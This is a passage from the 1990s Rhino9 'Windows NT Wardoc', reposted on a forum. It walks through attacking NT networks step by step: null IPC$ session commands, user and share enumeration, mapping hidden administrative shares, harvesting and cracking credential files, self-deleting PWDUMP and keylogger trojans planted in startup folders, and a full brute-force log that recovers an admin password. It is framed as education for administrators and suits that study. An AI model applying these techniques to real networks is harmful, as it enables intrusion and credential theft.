发信人: rawrence()
整理人: jiaxu2000(2004-03-30 09:53:44), 站内信件
|
===================================================================
THE WINDOWS NT WARDOC: A STUDY IN REMOTE NT PENETRATION
BY NEONSURGE AND THE RHINO9 TEAM
===================================================================
===================================================================
INTRODUCTION:
===================================================================
This document is an attempt by the Rhino9 team to document the methodo
logy and techniques used in an attack on a NT based network. The inten
t of this document is to educate administrators and security professio
nals of both the mindset of an attacker and a large set of the current
NT penetration techniques. This document attempts to follow in the fo
otsteps of the classic text, "How To Improve The Security Of Your Site
by Breaking Into It" by Dan Farmer and Wietse Venema.
Obviously, this text will not contain all known methods for NT network
penetration. We have tried to put together a text that Administrators
can use to learn basic penetration techniques to test the vulnerabili
ty of their own networks. If the concepts and techniques presented in
this text are absorbed and understood, an Administrator should have a
strong base knowledge of how penetrations occur and should be able to
build upon that knowledge to further protect their network.
This file is not meant for people that are new to security or NT or ne
tworking technologies. The authors assume that people reading this doc
ument have a certain understanding of protocols, server technologies a
nd network architectures.
The authors would like to continue expanding on this document and rele
asing updated versions of it. We call upon all those that wish to cont
ribute techniques to send detailed information on your own penetration
testing methods. We would like to release updates to this document to
keep it a current and solid resource. Send your techniques or submiss
ions to: [email protected]. Valid and useful submissions will be i
ncorporated in to the document with proper credit given to the author.
===================================================================
USAGE
===================================================================
The text is being written in a procedural manner. We have approached i
t much like an intruder would actually approach a network penetration.
Most of the techniques discussed in this text are rather easy to acco
mplish once one understands how and why something is being done.
The document is divided into 3 sections: NetBIOS, WebServer, and Misce
llaneous, each of which explain different methods of information gathe
ring and penetration techniques.
===================================================================
INFORMATION GATHERING AND PENETRATION VIA NETBIOS
===================================================================
The initial step an intruder would take is to portscan the target mach
ine or network. It's surprising how methodical an attack can become ba
sed on the open ports of a target machine. You should understand that
it is the norm for an NT machine to display different open ports than
a Unix machine. Intruders learn to view a portscan and tell wether it
is an NT or Unix machine with fairly accurate results. Obviously there
are some exceptions to this, but generally it can be done. Recently,
several tools have been released to fingerprint a machine remotely, bu
t this functionality has not been made available for NT.
When attacking an NT based network, NetBIOS tends to take the brunt of
an attack. For this reason, NetBIOS will be the first serious topic o
f discussion in this paper.
Information gathering with NetBIOS can be a fairly easy thing to accom
plish, albeit a bit time consuming. NetBIOS is generally considered a
bulky protocol with high overhead and tends to be slow, which is where
the consumption of time comes in.
If the portscan reports that port 139 is open on the target machine, a
natural process follows. The first step is to issue an NBTSTAT comman
d.
The NBTSTAT command can be used to query network machines concerning N
etBIOS information. It can also be useful for purging the NetBIOS cach
e and preloading the LMHOSTS file. This one command can be extremely u
seful when performing security audits. Interpretation the information
can reveal more than one might think.
Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [
-S] [-s] [interval]
Switches -a Lists the remote computer's name table given its host
name.
-A Lists the remote computer's name table given its IP address.
-c Lists the remote name cache including the IP addresses.
-n Lists local NetBIOS names.
-r Lists names resolved by broadcast and via WINS.
-R Purges and reloads the remote cache name table.
-S Lists sessions table with the destination IP addresses.
-s Lists sessions table conversions.
The column headings generated by NBTSTAT have the following meanings:
Input
Number of bytes received.
Output
Number of bytes sent.
In/Out
Whether the connection is from the computer (outbound) or from an
other system to
the local computer (inbound).
Life
The remaining time that a name table cache entry will "live" befo
re your computer
purges it.
Local Name
The local NetBIOS name given to the connection.
Remote Host
The name or IP address of the remote host.
Type
A name can have one of two types: unique or group.
The last byte of the 16 character NetBIOS name often means someth
ing because
the same name can be present multiple times on the same computer.
This shows
the last byte of the name converted into hex.
State
Your NetBIOS connections will be shown in one of the following "s
tates":
State Meaning
Accepting An incoming connection is in process.
Associated The endpoint for a connection has been created and y
our computer has associated it with an IP address.
Connected This is a good state! It means you're connected to t
he remote resource.
Connecting Your session is trying to resolve the name-to-IP add
ress mapping of the destination resource.
Disconnected Your computer requested a disconnect, and it is wait
ing for the remote computer to do so.
Disconnecting Your connection is ending.
Idle The remote computer has been opened in the current s
ession, but is currently not accepting connections.
Inbound An inbound session is trying to connect.
Listening The remote computer is available.
Outbound Your session is creating the TCP connection.
Reconnecting If your connection failed on the first attempt, it w
ill display this state as it tries to reconnect.
Here is a sample NBTSTAT response of an actual machine:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
Using the table below, what can you learn about the machine?
Name Number Type Usage
======================================================================
===
<computername> 00 U Workstation Service
<computername> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<computername> 03 U Messenger Service
<computername> 06 U RAS Server Service
<computername> 1F U NetDDE Service
<computername> 20 U File Server Service
<computername> 21 U RAS Client Service
<computername> 22 U Exchange Interchange
<computername> 23 U Exchange Store
<computername> 24 U Exchange Directory
<computername> 30 U Modem Sharing Server Service
<computername> 31 U Modem Sharing Client Service
<computername> 43 U SMS Client Remote Control
<computername> 44 U SMS Admin Remote Control Tool
<computername> 45 U SMS Client Remote Chat
<computername> 46 U SMS Client Remote Transfer
<computername> 4C U DEC Pathworks TCPIP Service
<computername> 52 U DEC Pathworks TCPIP Service
<computername> 87 U Exchange MTA
<computername> 6A U Exchange IMC
<computername> BE U Network Monitor Agent
<computername> BF U Network Monitor Apps
<username> 03 U Messenger Service
<domain> 00 G Domain Name
<domain> 1B U Domain Master Browser
<domain> 1C G Domain Controllers
<domain> 1D U Master Browser
<domain> 1E G Browser Service Elections
<INet~Services> 1C G Internet Information Server
<IS~Computer_name> 00 U Internet Information Server
<computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): The name may have only one IP address assigned to it. On a
network device, multiple occurences of a single name may appear to be
registered, but the suffix will be unique, making the entire name uni
que.
Group (G): A normal group; the single name may exist with many IP addr
esses.
Multihomed (M): The name is unique, but due to multiple network interf
aces on the same computer, this configuration is necessary to permit t
he registration. Maximum number of addresses is 25.
Internet Group (I): This is a special configuration of the group name
used to manage WinNT domain names.
Domain Name (D): New in NT 4.0.
An intruder could use the table above and the output from an nbtstat a
gainst your machines to begin gathering information about them. With t
his information an intruder can tell, to an extent, what services are
running on the target machine and sometimes what software packages hav
e been installed. Traditionally, every service or major software packa
ge comes with it's share of vulnerabilities, so this type of informati
on is certainly useful to an intruder.
The next logical step would be to glean possible usernames from the re
mote machine. A network login consists of two parts, a username and a
password. Once an intruder has what he knows to be a valid list of use
rnames, he has half of several valid logins. Now, using the nbtstat co
mmand, the intruder can get the login name of anyone logged on locally
at that machine. In the results from the nbtstat command, entries wit
h the <03> identifier are usernames or computernames. Gleaning usernam
es can also be accomplished through a null IPC session and the SID too
ls (For more information about the SID tools, read appendix B).
The IPC$ (Inter-Process Communication) share is a standard hidden shar
e on an NT machine which is mainly used for server to server communica
tion. NT machines were designed to connect to each other and obtain di
fferent types of necessary information through this share. As with man
y design features in any operating system, intruders have learned to u
se this feature for their own purposes. By connecting to this share an
intruder has, for all technical purposes, a valid connection to your
server. By connecting to this share as null, the intruder has been abl
e to establish this connection without providing it with credentials.
To connect to the IPC$ share as null, an intruder would issue the foll
owing command from a command prompt:
c:\>net use \\[ip address of target machine]\ipc$ "" /user:""
If the connection is successful, the intruder could do a number of thi
ngs other than gleaning a user list, but lets start with that first. A
s mentioned earlier, this technique requires a null IPC session and th
e SID tools. Written by Evgenii Rudnyi, the SID tools come in two diff
erent parts, User2sid and Sid2user. User2sid will take an account name
or group and give you the corresponding SID. Sid2user will take a SID
and give you the name of the corresponding user or group. As a stand
alone tool, this process is manual and very time consuming. Userlist.p
l is a perl script written by Mnemonix that will automate this process
of SID grinding, which drastically cuts down on the time it would tak
e an intruder to glean this information.
At this point, the intruder knows what services are running on the rem
ote machine, which major software packages have been installed (within
limits), and has a list of valid usernames and groups for that machin
e. Although this may seem like a ton of information for an outsider to
have about your network, the null IPC session has opened other venues
for information gathering. The Rhino9 team has been able to retrieve
the entire native security policy for the remote machine. Such things
as account lockout, minimum password length, password age cycling, pas
sword uniqueness settings as well as every user, the groups they belon
g to and the individual domain restrictions for that user - all throug
h a null IPC session. This information gathering ability will appear i
n Rhino9's soon to be released Leviathan tool. Some of the tools avail
able now that can be used to gather more information via the IPC null
session will be discussed below.
With the null IPC session, an intruder could also obtain a list of net
work shares that may not otherwise be obtainable. For obvious reasons
, an intruder would like to know what network shares you have availabl
e on your machines. For this information gathering, the standard net
view command is used, as follows:
c:\>net view \\[ip address of remote machine]
Depending on the security policy of the target machine, this list may
or may not be denied. Take the example below (ip address has been lef
t out for obvious reasons):
C:\>net view \\0.0.0.0
System error 5 has occurred.
Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
----------------------------------------------------------------------
---------
Accelerator Disk Agent Accelerator share for Seagate
backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
As you can see, the list of shares on that server was not available un
til after the IPC null session had been established. At this point yo
u may begin to realize just how dangerous this IPC connection can be,
but the IPC techniques that are known to us now are actually very basi
c. The possibilities that are presented with the IPC share are just b
eginning to be explored.
The release of the WindowsNT 4.0 Resource Kit made a new set of tools
available to both administrator and intruder alike. Below is a descri
ption of some of the Resource Kit Utilities that the Rhino9 team has u
sed in conjunction with the IPC$ null session to gather information.
When reading these tool descriptions and the information they provide,
keep in mind that the null session that is used does NOT provide the
remote network with any real credentials.
UsrStat: This command-line utility displays the username, full name, a
nd last logon date and time for each user in a given Domain. Below is
an actual cut and paste of this tool used through a null IPC session
against a remote network:
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator - - logon: Tue Nov 17 08:15:2
5 1998
Guest - - logon: Mon Nov 16 12:54:0
4 1998
IUSR_STUDENT4 - Internet Guest Account - logon: Mon Nov 16 15:19:2
6 1998
IWAM_STUDENT4 - Web Application Manager account - logon: Never
laurel - - logon: Never
megan - - logon: Never
In order to fully understand what is happening in the capture, lets di
scuss it. Before the actual attack took place, a mapping was put into
the lmhosts file that reflected the Student4 machine and it's Domain
activity status using the #PRE/#DOM tags (explained in more detail bel
ow.). The entry was then preloaded into the NetBIOS cache, and a null
IPC session was established. As you can see, the command is issued a
gainst the Domain name. The tool will then query the Primary Domain C
ontroller for that Domain.
Global: This command-line utility displays the members of global group
s on remote servers or domains. As discussed above, this utility is u
sed in conjunction with an Lmhosts/IPC mapping. Shown below is an act
ual capture of the global tool. In the example, the "Domain Users" is
a standard, default global group present in a WindowsNT domain. For
this example, we have used the tool to query Domain1 for a listing of
all users in the "Domain Users" group.
C:\>global "Domain Users" domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
Local: The Local tool works just as the Global tool does, except it qu
eries the machine for the members of a local group instead of a global
group. Below is an example of the Local tool querying a server for a
list of its Administrators group.
C:\>local "administrators" domain1
Bob
Domain Admins
Bill
NetDom: NetDom is a tool that will query a server for its role in a do
main, as well as querying the machine for its PDC. The NetDom tool als
o works with an Lmhosts/IPC mapping. Below is a capture of the tool an
d its standard output:
Querying domain information on computer \\SPUPPY ...
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4 ...
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
NetWatch: NetWatch is a tool that will give the person invoking the to
ol a list of the shares on a remote machine. Again, this tool works wi
th an Lmhosts/IPC mapping. The bad thing about this tool is that the R
hino9 team was able to use the tool to retrieve a list of the hidden s
hares on the remote machine.
Other known penetration techniques that involve the IPC share include
opening the registry of the remote machine, as well as a remote User M
anager for Domains technique. The IPC null connection could allow an i
ntruder to potentially gain access to your registry. Once the null IPC
session has been established, the intruder would launch his local reg
edit utility and attempt the Connect Network Registry option. If this
is succesful, the intruder would have read access to certain regsitry
keys, and potentially read/write. Regardless, even read access to the
registry is undesirable from a security standpoint.
An intruder could also attempt the IPC User Manager for Domains techni
que. This technique is relatively unknown and often times produces no
results. We are covering it because it can produce results and it can
be an effective intrusion technique. This technique involves a null IP
C session and entries into the LMHOSTS file. The LMHOSTS file is (norm
ally) a local file kept on windows based machines to map NetBIOS names
to IP addresses. Used mostly in non-WINS environments, or on clients
unable to use WINS, the LMHOSTS file can actually be used in many diff
erent ways by an intruder. Different uses for the LMHOSTS file will be
discussed later in this text, for now we will discuss how the LMHOSTS
file is used in this technique.
This is an excellent technique to discuss because it shows how one of
the previous techniques is used in conjunction with this one to accomp
lish a goal. Beginning with a portscan, and assuming that port 139 is
open, the attacker would issue an nbtstat command. The intruder would
then glean the NetBIOS name of the remote machine from the nbtstat res
ults. Lets look at the same sample nbtstat results from above:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
By examining the results of the nbtstat command, we are looking for th
e <03> identifier. If someone is logged on locally on the machine, you
will see two <03> identifiers. Normally the first <03> listed is the
netbios name of the machine and the second <03> identifier listed is t
he name of the locally logged on user. At this point the intruder woul
d put the netbios name and ip address mapping of the machine into his
local LMHOSTS file, ending the entry with the #PRE and #DOM tags. The
#PRE tag denotes that the entry should be preloaded into the netbios c
ache. The #DOM tag denotes domain activity. At this point the intruder
would issue a nbtstat -R command to preload the entry into his cache.
Technically, this preloading would make the entry appear as if it had
been resolved by some previous network function and allow the name to
be resolved much quicker.
Next the intruder would establish a null IPC session. Once the null IP
C session has been succesfully established, the intruder would launch
his local copy of User Manager for Domains and use the Select Domain f
unction in User Manager. The Domain of the remote machine will appear
(or can manually be typed in) because it has been pre-loaded into the
cache. If the security of the remote machine is lax, User Manager will
display a list of all the users on the remote machine. If this is bei
ng done over a slow link (i.e. 28.8 modem) it will normally not work.
On faster network connections however, this tends to produce results.
Now that the intruder has gathered information about your machine, the
next step would be to actually attempt a penetration of that machine.
The first penetration technique to be discussed will be the open file
share attack. The intruder would couple the previously discussed net
view command with a net use command to accomplish this attack.
Taking the net view from above, lets discuss the attack.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
----------------------------------------------------------------------
---------
Accelerator Disk Agent Accelerator share for Seagate
backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
Once the attacker has a list of the remote shares, he could then attem
pt to map to a remote share. An example of the command structure for t
he attack would be:
c:\>net use x: \\0.0.0.0\inetpub
This attack will only work if the share is unpassworded or shared out
to the everyone group (NOTE: The Everyone group means Everyone. If som
eone connects as a null user, they are now part of the everyone group.
). If those parameters are in place, the attacker would be able to map
a network drive to your machine and begin what could amount to a seve
re series of penetration attacks. Keep in mind that the intruder is no
t limited to mapping drives to the shares displayed by the net view co
mmand. An intruder that knows NT or has done his homework knows that N
T has hidden administrative shares. By default, NT creates the IPC$ sh
are and one hidden share for every drive on the machine (i.e. a machin
e that has C, D, and E drives would have corresponding hidden shares o
f C$, D$, and E$). There is also a hidden ADMIN$ share that maps direc
tly to the installation path of NT itself (i.e. If you installed NT on
C:\winnt, than ADMIN$ maps to that exact portion of that drive). One
thing that the Rhino9 team has noticed about the majority of the NT se
curity community is that they seem to be oblivious to the concept of p
enetrating one internal NT machine from another internal NT machine. T
he Rhino9 team, during our professional audits, has accomplished this
task many times. Chances are, if the intruder is good and can gain acc
ess to one of your machines, he will worm his way into the rest of you
r network. For that reason, these share attacks can pose a serious thr
eat.
(As a side note, the Rhino9 team was once contacted to perform a remot
e penetration audit for one of the largest ISP's in Florida. We gained
access to a share on one of the technician's personal machines, and f
rom there gained access to the entire network. It can be done.)
At first, someone may not be able to see the dangers of someone having
access to your hard drive. Access to the hard drive opens up new aven
ues for Information Gathering and Trojan/Virus planting. An attacker w
ould normally look for something that could possibly contain a passwor
d or highly sensitive data that he could use to continue digging his w
ay into your network. Some of the files that a intruder will look for
and use are listed below, each with a brief description of what it is,
and how it would be used.
Eudora.ini: This file is used to store configuration information for e
udora e-mail software. An easily obtainable tool called eudpass.com wi
ll extract the individuals username and password information as well a
s all the information that the attacker needs to begin eavesdropping o
n the users mail. At this point, the intruder could configure his own
e-mail software to read the targets mail. Again, some could have a har
d time seeing the dangers in this, but remember that generally, people
are creatures of habit. The chances that the user's e-mail password i
s the same password they use to log into the network at work are relat
ively high. Now all the attacker needs to do is keep snooping around o
n the users hard drive for a resume or some other work related documen
t to point him in the direction of the persons place of business, allo
wing him to launch a somewhat strong initial strike against the networ
k.
Tree.dat: This is the file that is used by the popular software CuteFT
P to store the users ftp site/username/password combinations. Using a
program called FireFTP, the attacker can easily crack the tree.dat fil
e. So, as above, the user could keep gathering information about you a
nd launch an attack against your place of business. Not to mention tha
t if you have an ftp mapping in your tree.dat that maps directly to yo
ur place of business, his attack has now become much easier.
PWL: PWL's generally reside on Win95 machines. They are used to store
operation specific passwords for the Windows95 end user. A tool called
glide.exe will crack (with less than desirable efficiency) PWL files.
There is also documentation available on how to manually crack the en
cryption of these PWL files using a calculator. Continuing the scenari
o, the attacker could keep gathering information about the user and fo
rmulate an attack.
PWD: PWD files exist on machines running FrontPage or Personal Webserv
er. These files include the plain text username and an encrypted passw
ord matching the credentials needed to administer the website. The enc
ryption scheme used for these passwords is the standard DES scheme. Ne
edless to say, many DES cracking utilities are available on the intern
et. John the Ripper by Solar Designer very efficiently cracks these pa
sswords.
WS_FTP.ini: This ini file exists on machines using ws_ftp software. Al
though an automated password extractor for this file has just recently
been introduced into the security community, the encryption mechanism
used is not very strong. The password is converted to hex numbers (2
digits). If a digit is at the N position, then N is added to the digit
. Reverse the process and you have cracked this encryption scheme. (Th
is is also known to sometimes work for cracking PMail.ini - Pegasus Ma
il and Prefs.js - Netscape.)
IDC Files: IDC (internet database connecter) files are normally used f
or back-end connectivity to databases from a webserver. Becuase this t
ype of connection generally requires authentication, some IDC files co
ntain username/password combinations, often times in clear text.
waruser.dat: This is one of the config files for WarFTP, the popular W
in32 FTP server. This particular dat file could contain the administra
tive password for the FTP server itself. From what the authors have be
en able to find out, this only occurs in beta versions of WarFTP 1.70.
$winnt$.inf: During an unattended installation of WindowsNT, the setup
process requires information files. As residue of this unattended ins
tallation process, a file called $winnt$.inf could exist in the %syste
mroot%\system32 directory. This file could contain the username and pa
ssword combination of the account that was used during the installatio
n. Because the account used in these types of installations normally r
equire some strong permission sets on the network, this is not a trivi
al matter.
Sam._: Although people have known for a long time that the SAM databas
e could present a problem if it fell into the wrong hands, many people
forget about the sam._. Many would-be intruders have asked themselves
how they could copy the SAM database if they could mount a drive acro
ss the net. Well, normally this is not possible, because the NT server
you are connected to is running, and while it is running, it locks th
e SAM. However, if the administrator has created an emergency repair d
isk, a copy of the SAM should be located in the %systemroot%\repair\ d
irectory. This file will be named sam._. This copy, by default is EVER
YONE readable. By using a copy of the samdump utility, you can dump us
ername/password combinations from the copied SAM.
ExchVerify.log: The ExchVerify.log file is created by Cheyenne/Innocul
an/ArcServe. Normally created by the installation of the Cheyenne/Inno
culan/ArcServe software, this file resides at the root of the drive wh
ere the software installation took place. This file can contain extrem
ely sensitive information, as shown below:
<EXCH-VERIFY>: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
Needless to say, the file contains information that an intruder could
easily use to further compromise the integrity of your network.
Profile.tfm: Profile.tfm is a file that is created by the POP3 client
software AcornMail. At the writing of this document, AcornMail began g
etting alot of attention from the internet community. Upon inspection
of the software, we found that it's an efficient POP3 client, but the
installation is not NTFS friendly. After the installation of the softw
are, we began to check into the files that AcornMail created. We found
that the Profile.tfm file held the username/password combination. At
first, we decided the software was somewhat ok, because it did indeed
store the password in an encrypted state. We then realized that the pe
rmissions on the profile.tfm file were set to Everyone/Full Control. T
his causes problems because anyone could obtain a copy of the file and
plug this file into their own AcornMail installation. Then intruder c
oud log on with the stored information. Below is a capture in Network
Monitor of just that.
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.......
..E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b
.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2
Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Pa
sswo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.
for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg.
..E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 [email protected]
...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q...
..P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.x
erox
00000040 37 33 0D 0A 63..
As you can see, the username/password is indeed passed in clear text.
This is not a fault of AcornMail, but something that has been present
in the POPvX. This 'data' file swapping/packet sniffing type of techni
que has been tested by the Rhino9 team on numerous software titles, so
this attack is not limited to AcornMail.
Now that we have discussed the files an intruder may wish to acquire i
f he gains access to your hard drive, lets discuss Trojan planting. If
there is one thing that can gain an attacker a ton of information, it
is trojan planting. The open file share attack generally makes trojan
planting extremely easy to do. One of the easiest and most informativ
e trojans to use is the PWDUMP utility wrapped in a batch file. If pre
pared correctly, the batch file will execute minimized (also named som
ething clever, such as viruscan.cmd), run the PWDUMP utility, delete t
he PWDUMP utility after it has run its course, and finally erase itsel
f. This generally leaves little evidence and will create a nice text f
ile of all of the username/password combinations on that machine.
Rules of the trick: The target must be an NT machine and the end user
executing the trojan must be the administrator, so the attacker drops
the batch file into the Administrators start-up folder and waits. The
next time the Administrator logs in to the machine, the batch file exe
cutes and dumps the username/password combinations. Then the attacker
connects back into the machine via file sharing and collects the resul
ts.
Another solid attack an intruder might try is to place a keylogger bat
ch into the start-up folder. This can usually be done to any user, not
just the administrator. This will glean all keystrokes issued by that
user, minus initial logon credentials (due to the NT architecture, wh
ich stops all user mode processes during login). The attacker then con
nects back to the target machine at a later time and collects the reco
rded keystrokes.
One of the deadliest trojan attacks issued is a batch file that runs a
s Administrator and sets up a scheduled event using the AT command. Be
cause the AT command can execute as System, it can create copies of th
e SAM database and the registry. Imagine the fun an attacker can have
with that one.
How does one prevent such attacks? By not sharing items to the everyon
e group, and by enforcing strong password schemes in your environment.
If an intruder comes across a server that prompts him for credentials
at every turn, chances are the intruder will become frustrated and le
ave. Other, more persistant intruders, will continue on with a Brute F
orce Attack.
Undoubtedly the most common tool for Brute Force NetBIOS attacks is NA
T. The NAT (NetBIOS Auditing Tool) tool will allow a user to automate
network connection commands using a list of possible usernames and pas
swords. NAT will attempt to connect to the remote machine using every
username and every password in the lists provided. This can be a lengt
hy process, but often times an attacker will use a shortened list of c
ommon passwords and call it quits. An accomplished intruder will const
ruct his list of usernames by using the information gathering techniqu
es discussed above. The password list the intruder will use will also
be constructed from gleaned information. Starting with a bare bones li
st of passwords, and creating the rest based on the usernames. It come
s as no surprise to security professionals to find passwords set to th
e username.
An attacker can specify an IP addresses to attack or he can specify an
entire range of IP addresses. NAT will diligently work to accomplish
the task, all the while generating a formatted report.
Below is an actual results file of a real NAT attack across the intern
et. Although permission was given for the Rhino9 team to perform this
attack, the IP address has been changed to protect the test target.
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`ADMINISTRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`PASSWORD'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
[*]--- This machine has a browse list:
Server Comment
--------- -------
AENEMA
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
If you look closely at the results, you can clearly see the CONNECTED
message which informs the attacker that the tool found a valid Usernam
e/Password combination. At this point, the intruder would just manuall
y re-connect to that machine using the newly found username/password c
ombination and launch his attack.
This is the end of the remote penetration via NetBIOS section. Keep in
mind that the techniques discussed above are neither static nor stand
-alone. An intruder who has spent time learning how to penetrate NT ba
sed networks will become extremely creative and use not only the techn
iques above, but personal variations of those techniques.
===================================================================
INFORMATION GATHERING AND PENETRATION VIA WEBSERVER
===================================================================
Information gathering and remote penetration via a webserver is well k
nown today due to the population explosion on the internet and the res
ulting dissemenation of information. When discussing remote penetratio
n and information gathering on NT Webservers, we will focus on Interne
t Information Server, the webserver that comes bundled with NT4.
Some of the information to be discussed will be somewhat outdated. We
have included it due to the fact that during professional audits, the
Rhino9 Team has come across companies that are still running older ver
sions of software titles in their production environments.
Lets begin by discussing information gathering techniques. We will dis
cuss ways of getting information about the webserver under attack, as
well as using the webserver to get information that could be used in o
ther types of attacks.
First we will discuss how one would retrieve the webserver software pa
ckage and version on the target machine. Someone that is new to the se
curity community might wonder why one would want the webserver version
of the target machine. Every different version and distribution of so
ftware has different vulnerabilities attached to them. For this reason
, an intruder would want to know the webserver software and version in
question.
The oldest technique used to acquire webserver software and version is
to telnet to the target machine on the HTTP port. Once a telnet conne
ction has been established, issuing a simple GET command would allow o
ne to view the HTTP header information, which would include the webser
ver software and version being used.
One who is not prone to using telnet, or does not wish to parse throug
h the header information can use a couple of available tools. The firs
t, and probably most popular tool amongst non-accomplished intruders i
s Netcraft. An intruder can visit www.netcraft.com and use their query
engine to retrieve the webserver information from the remote target.
Netcraft can also be used retrieve all known webserver hostnames. For
example, if we wanted to find all of the webservers that belong to the
someserver.com domain, we could use Netcraft's engine to query *.some
server.com, and it would return a listing of all of the webserver host
s in that domain. Other tools that can be used to retrieve webserver v
ersion include 1nf0ze by su1d and Grinder by horizon of Rhino9 (URLs t
o all tools discussed in this text can be found at the end of this doc
ument).
Once the intruder has determined what webserver package he is up again
st, he can begin to formulate an attack plan. By using the techniques
discussed below, the intruder could gain access to the server or gain
information from the server to use in other attacks. Understand that t
his section is in no way a complete representation of all attacks, jus
t the more common and well known ones.
